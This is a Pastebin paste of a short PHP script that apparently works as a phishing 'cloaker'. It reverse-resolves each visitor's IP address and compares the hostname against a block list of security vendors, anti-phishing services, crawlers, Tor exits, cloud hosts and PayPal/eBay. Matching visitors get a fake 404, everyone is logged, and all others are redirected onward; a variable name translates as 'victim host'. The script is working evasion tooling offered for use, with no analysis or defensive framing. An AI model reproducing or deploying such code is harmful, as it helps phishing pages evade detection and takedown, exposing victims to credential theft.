b3gund4L

Redirect blocked

Dec 3rd, 2017
38,379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.73 KB | None | 0 0
  1. <?php
  2.  
  3. $blocked_words = array(
  4. 'amazon',
  5. 'aruba',
  6. 'above',
  7. 'google',
  8. 'tor',
  9. 'softlayer',
  10. 'amazonaws',
  11. 'cyveillance',
  12. 'phishtank',
  13. 'dreamhost',
  14. 'netpilot',
  15. 'calyxinstitute',
  16. 'tor-exit',
  17. 'msnbot',
  18. 'p3pwgdsn',
  19. 'netcraft',
  20. '194.72.238',
  21. '69.164.111.198',
  22. 'banff',
  23. 'auchroisk',
  24. 'trendmicro',
  25. 'ebay',
  26. 'paypal',
  27. 'torservers',
  28. 'comodo',
  29. 'crawl',
  30. 'sucuri.net',
  31. 'crawler',
  32. 'proxy',
  33. 'enom',
  34. 'cloudflare',
  35. 'yahoo',
  36. 'trustwave',
  37. 'rima-tde.net',
  38. 'tfbnw.net',
  39. 'pacbell.net',
  40. 'tpnet.pl',
  41. 'ovh.net',
  42. 'centralnic',
  43. 'badware',
  44. 'phishing',
  45. 'antivirus',
  46. 'SiteAdvisor',
  47. 'McAfee',
  48. 'Bitdefender',
  49. 'barracuda',
  50. 'anti',
  51. 'mail',
  52. 'phis',
  53. 'tester',
  54. 'bit',
  55. 'security',
  56. 'secure',
  57. '52.168.72.225',
  58. 'cloud',
  59. '162.243.187.126',
  60. '46.101.94.163',
  61. '46.101.119.24'
  62. );
  63.  
  64. $today = getdate();
  65. $date = ''.$today['weekday'].' - '.$today['mday'].' '.$today['month'].' '.$today['year'].' - '.$today['hours'].':'.$today['minutes'].':'.$today['seconds'].'';
  66.  
  67.  
  68. function inStr($s, $as){
  69.     $s = strtoupper($s);
  70.     if(!is_array($as)) $as=array($as);
  71.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  72.     return false;
  73. }
  74.  
  75. $host_korban = ''.$_SERVER['REMOTE_ADDR'].' - '.gethostbyaddr($_SERVER['REMOTE_ADDR']).'';
  76.  
  77. if(inStr($host_korban, $blocked_words)){
  78.     $file = fopen("data-.txt","a");
  79.     fwrite($file, $date." : ".$_SERVER['REMOTE_ADDR']." - ".gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n");
  80.     fclose($file);
  81.     header("HTTP/1.0 404 Not Found");
  82.     die();
  83. }else{
  84.     $file = fopen("data.txt","a");
  85.     fwrite($file, $date." : ".$_SERVER['REMOTE_ADDR']." - ".gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n");
  86.     fclose($file);
  87.     header("Location: https://yoursite.com/");
  88. }
  89.  
  90. ?>
Add Comment
Please, Sign In to add comment